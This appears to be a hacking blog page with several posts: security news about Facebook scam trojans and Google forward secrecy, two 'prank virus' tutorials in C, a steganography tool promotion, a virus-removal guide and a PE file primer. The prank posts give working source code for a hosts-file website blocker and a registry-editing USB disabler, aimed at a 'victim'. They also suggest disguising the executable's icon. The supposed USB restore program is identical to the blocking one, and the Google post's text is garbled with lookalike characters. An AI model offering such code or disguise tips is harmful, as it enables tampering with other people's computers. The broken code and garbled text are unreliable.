Hack'a'Holic : Decrypting Encrypted Ideas

Fake ‘Friend Request’ E-mail from Facebook Delivers Trojan: Cyberoam

According to Cyberoam an IT firm, which recently published a survey report, online scammers are targeting Facebook members by sending them several "friend request" messages for defrauding them into taking down one banker Trojan, published The Times of India on October 19, 2011.
The survey, which Cyberoam conducted, reportedly involved Commtouch another IT security software firm as a partner.
Senior Vice-President of Product Management Abhilash Sonwane at Cyberoam stated that modern scammers along with malware creators knew very well Facebook users' behavioral psychology. They knew that, although intelligent, many users of the social-networking website didn't think again prior to accepting an unknown stranger's 'friend request' e-mail, alternatively answering random such e-mails, hoping they would get gifts and free devices. Online-crooks would constantly tweak their assaults against websites for social-networking exploiting the public's frailties, Sonwane explained. IndiaPRwire reported this on October 19, 2011.
Moreover, Cyberoam as well noticed how free offers through Facebook enticed users that prompted them for disseminating junk e-mails within their friends circle. In addition, the survey discovered an omnipresent "like" button on Facebook that advertising-fraudsters harnessed for enticing end-users into supposedly getting an iPhone 4 for free.
Evidently, the fraudsters gained much out of effective 'free' publicity because of Facebook users' trustworthiness, in addition to potentially acquire their other details from personal profiles to commit ID-theft.
Moreover, spam attachments crafted with "right-to-left" override, deceived people who didn't bother about file extensions on computers running Windows.
In the meantime, the report further revealed that India kept on being on No.1 among the globe's major 'compromised PC' or technically, 'zombie' destinations, while Brazil fell to No.3 rank.
Additionally, according to the report, e-mail-borne viruses revived during Q3-2011 when numerous attacks occurred during August-September 2011. At the peak, however, 25bn malware-laced e-mails were distributed per day.
Meanwhile, users wishing for getting the free iPhone 4 had the message directing them for 'liking' many web-pages, supplying their postal add as well as passing on the 'friend request' e-mail to at least 100 others, thereby making sure the scam proliferated,
Hence, according to the security specialists, social networking members require staying vigilant about these scams.

posted under Facebook, Informative, Viruses - Trojans | 1 Comments

Google Protects User Data for the Future with Forward Secrecy

Thе Google security team hаѕ enabled forward secrecy іn іtѕ HTTPS services bу default, ѕο thаt captured messages саn’t bе decrypted retroactively. Even though Gmail wеnt tο a secure HTTPS connection bу default last year, encrypted files сουƖԁ still bе captured іn thеіr unreadable form аnԁ broken years later, whеn computers аrе much fаѕtеr.

Othеr HTTPS Google services include Docs аnԁ Google+, аѕ well аѕ SSL Web search. AƖƖ thеѕе services аrе now forward secret whеn HTTPS іѕ turned οn. Initially, οnƖу Chrome аnԁ Firefox wіƖƖ υѕе forward secrecy bу default wіth Google services, bесаυѕе Internet Explorer doesn’t support Google’s combination οf thе RC4 authentication аnԁ ECDHE key exchange mechanisms. “Wе hope tο support IE іn thе future,” thе security team ѕауѕ.
Thе forward secrecy enabled today requires thаt thе private keys thаt maintain thе connection tο thе service аrе nοt held іn persistent storage. Thаt means a wουƖԁ-bе attacker саn’t reverse-decrypt past connections. Nοt even thе server operator саn decrypt thеѕе sessions retroactively. Thе team hаѕ released іtѕ work οn thе open-source OpenSSL library thаt enabled thіѕ security.
Yου саn see whether уουr connection іѕ secure bу clicking thе green padlock іn уουr browser’s address bar whеn οn аn HTTPS site.

Google’s Progress οn Security
Google mаԁе encrypted Web search available іn 2010, bυt іt ԁіԁ nοt anticipate thаt thе secure domain wουƖԁ conflict wіth thе Children’s Internet Protection Act, whісh requires schools tο monitor аnԁ block сеrtаіn websites. Sіnсе secure search prevented schools frοm logging, filtering οr blocking search results, schools wеrе caught іn thе lurch. Google resolved thе problem bу giving secure search іtѕ οwn encrypted.google.com domain.

posted under Google, Informative | 1 Comments

Prank your Friend : Block Websites on his PC Virus

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the Source Code of the virus :

#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

1. Paste the Above Given Source Code in Notepad & Save it as "Website_Block.c"
2. Compile the above created source file using a C Compiler.
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.
4.Once you run the file Website_Block.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

5. To remove the virus type the following in the Run Dialog Box. (Start -> Run)

%windir%\system32\drivers\etc

6.There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

7. Delete all such entries which contain the names of blocked sites.

Enjoy playing this Prank over your Friends & make them toil to use these Websites :D ;-)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Computers, Firefox, Viruses - Trojans, WEBSITE HACKING, Windows | 1 Comments

Disable USB Ports : Virus Source Code

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Copy the below Given Code in Notepad & Save it as "block_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

2. Again Copy the below Given Code in Notepad & Save it as "unblock_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

3. Compile the Above two saved files using a C Compiler before you can run it.

4. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

5. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

6. You can also change the icon of this file to make it look like a legitimate program.

Hope you would have Liked it. Do post back your comments over it. :) :)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Hacking, Viruses - Trojans, Windows | 0 Comments

How to Hide Data in Image, Audio & Video Files: Steganography

Ever wondered to know how to hide secret messages in images, audio and video files? Well, in this post I will take you through a concept called steganography using which, it is possible to hide your secret information in image files, songs or any other file of your choice. At the end of this post, you can also download free stegnographic tools and start hiding your data.

What is Steganography?

Steganography is a means of obscuring data where secret messages are hidden inside computer files such as images, sound files, videos and even executable files so that, no one except the sender and the receiver will suspect the existence of stealth information in it. Steganography may also involve the usage of cryptography where the message is first encrypted before it is concealed in another file. Generally, the messages appear to be something else such as an image, sound or video so that the transfer of secret data remains unsuspected.

The main advantage of steganography over other methods such as cryptography is that, it will not arose suspicion even if the files fall in the hands of a third party. Unlike cryptographic messages, stegnographic messages will no way attract the attention of a third party by themselves. Thus stegnanography has an upper hand over cryptography as it involves both encryption and obscurity.

What are the Applications of Steganography?

Steganography is mainly used to obscure confidential information/data during storage or transmission. For example, one can hide a secret message in an audio file and send this to another party via email instead of sending the message in the textual format. The receiver on the other end will decrypt the hidden message using the private decryption key. In a worst case scenario, even if a third party does manage to gain access to the email, all he can find is the audio file and not the hidden data inside it. Other usage of steganography include digital watermarking of images for reasons such as copyright protection.

Eventhough steganography has many useful applications, some may use this technique for illegitimate purposes such as hiding a pornographic content in other large files. Roumors about terrorists using steganography for hiding and communicating their secret information and instructions are also reported. An article claiming that, al-Queda had used steganography to encode messages in images and transported them via e-mails, was reported by New York Times, in October 2001.

How do Steganography Tools Work?

Stegnography tools implement intelligent algorithms to carefully embed the encrypted text messages or data inside other larger files such as an image, audio, video or an executable file. Some tools will embed the encrypted data at the end of another file so that there will be enough room for storing larger data.

There are many steganography tools available online but only a few are able to work flawlessly. I did not find any tool that worked perfectly on both small and large data. However I have managed to develop my own tool that can work perfectly on all types of files and all size of data. The tool is called “Stego Magic“. You can download it from the following link.

Download StegoMagic.zip

The zip file contains two versions of Stego Magic: One for encrypting the text messages and the other for encrypting binary files. StegoMagic_TXT can be used to hide text messages in other files such as an image or a sound file. StegoMagic_BIN can be used to hide one binary file in another such as an executable file inside an image or an image inside a video file.
With Stego Magic, there is no limitation on the size and type of the file that you are intending to hide. For example, you can hide a video of size 1 GB in an image of size 1 MB or hide an executable file inside a WORD document. The tool is pretty straightforward to use and requires no special understanding of the concept.
At the end of the encryption process, a secret decryption key will be generated and the same is required during the decryption process.

How to Use Stego Magic?

Suppose you want to hide a text message inside a JPG file:
1. Place the JPG and the text file (.txt) in the same folder as that of StegoMagic_TXT.exe
2. Run StegoMagic_TXT.exe and follow the screen instructions to embed the text message inside the JPG image.
3. Note down the secret decryption key.
Now you can send this image to your friend via email. To decrypt the hidden message, your friend should load this JPG file onto the Stego Magic tool and use the secret decryption key.

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Computers, Hacking, Hacking Softwares, Informative | 0 Comments

Remove REGSVR.EXE and New Folder.exe viruses completely

Plug a pendrive into a public computer and you will be pesked by the continuously replicating “New Folder.exe” virus or the “regsvr.exe” virus. Hear my story, while I transferred my notes last night (around 600 folders) and I was surprised to see that around 450 MB of space was eaten by these self replicating space eaters ! I was running Linux so these were not a concern for me, but when I plugged my pendrive into my virtual machine (windows xp sp2), it caused multiple problems of explorer corruption and disabling registry tools.

Time for some virus busting I guess..here is how you can remove “regsvr.exe” and “new folder.exe” from your computer.

Step 1 - Some Startup Repairs

First of all, boot into safe mode.After you get to your desktop,press F3 or Ctrl + F and search for “autorun.inf” file in your computer and delete all the subsequent files. I case you are no able to delete them, select all the files and uncheck the”Read Only” option. If you are still not able to delete them , you might want to try out Unlocker tool todelete the files.

Now go to

start – > run –> type ”msconfig”

and press enter

Go to startup tab and uncheck “regsvr”, click ok and then click on “Exit without restart”.

Now go to

control panel –> scheduled tasks and delete “At1” task listed there.

Once done, close all windows.

Step 2 - Changing Configurations

Your registry might be disabled,and you need to activate it back to undo all the malicious changes done by worm.In order to do that, you need to go to

start – > run –> type ”gpedit.msc”

and press enter

then navigate to

users configuration –> Administrative templates –> systems

Find “prevent access to registry editing tools” , double click it and change the option to disable.

Once done, your Regedit will be enabled. In case your task manager is disabled, you need to enable it.

Step 3 - Registry Edits

Now we have to perform some registry edits to enable our explorer and to remove all instances of worm from the registry. Go to

start – > run –> type ”regedit”

and press enter

Click on Edit –> Find and search for regsvr.exe . Find and delete all the occurrences of regsvr.exe virus (don't delete regsvr32.exe as its not a virus).

then navigate to entry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

and modify the entry

Shell = “Explorer.exe regsvr.exe”

to delete the regsvr.exe from it,so that it becomes

Shell = “Explorer.exe”

Once done, close all windows and get ready to delete all virus files.

Step 4 - Deleting Virus Files

The final step is to delete all the virus files in your computer. To do this, Press F3 or Ctrl + F and search for regsvr.exe (make sure to search in hidden folders ) and delete all “regsvr.exe” “svchost .exe” files (notice the gap between ‘svchost’ and ‘.exe’, keep in mind you don't delete the legitimate file.).

Clean your recycle bin and restart your PC (perform a cold boot).

Volia..you have cleaned your computer from regsvr..just make sure to scan your pendrive the next time you plug in :)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Hacking, Viruses - Trojans, Windows | 0 Comments

INTERNALS OF PROGRAMMING APPLICATIONS

People have always asked me is the programming that college teachers teach enough for us.

Here is the answer

it never ends.....

Any executable in order to work needs some functions to implement its features.these functions are called API.

It stands for application programming interface.

An api is set of functions that help in developement of various applications for a specific platform . These functions may provide the functionality ranging from the most basic mouse movement to the advanced process spawning tasks.Consider them just to be your normal c style functions (like add()) that are provided by the vendor or may be user defined.

dll::

dynamic linked libraries are nothing but binary files containing the definitons of the various API's.

example::

void func(){};

void main()

{

func();

}

In the function above we can also give the defintion of func() in another .c source file and then that file be included by defining the func() function in a separate file and using the directive::

#include "name of file"

before the main() function.

example::

#include "f.c"

//contents of f.c::

//void func(){}

void main()

{

func();

}

Same is the case with dlls.

For example in order to use the API MessageBox() we may use the windows.h header file which will cause the dll associated with the MessageBox API(user32.dll in this case ) to be loaded automatically at the run time by the linker(or operating system ,for simplicity). dll files contain the DllMain function (which is called at the time the dlla are initialized ) besides the usual function to export to the applicaions.

Why we add the name dynamic to them ? well the reason is that they are loaded at the runtime

(ie loaded dynamically) by the operating system into the process address space(ie the region where executable is mapped in the primary memory of the system)

What is the structure of the process like?

The PE file::

windows conforms to the pe(portable execuatble) /coff(common object file format) that defines how the executable image(file) should be laid out in the memory.

One of the main features of the pe file format is that it starts with the typical dos stub that contains the initials MZ(Mark Zbikowski)

that means if you were to open any .exe,or .dll or .sys file in notepad you would surely find these initials at the beginning...

nice alternative of checking extensions if someone has disabled the extensions isn't it! :)

there are various sections inside a pe file .these sections are .text(contains the code),.data(contains the initialized data),.rsrc section(conatins resources bitmap,cursor etc.) and there are few others.

The windows loader reads the information contained in the pe file located on the disc and uses it to construct fully working process loaded in the ram...

this is how everything works underneath an application without you even knowing it!

Posted by:

Cr4nk

posted under Coding | 0 Comments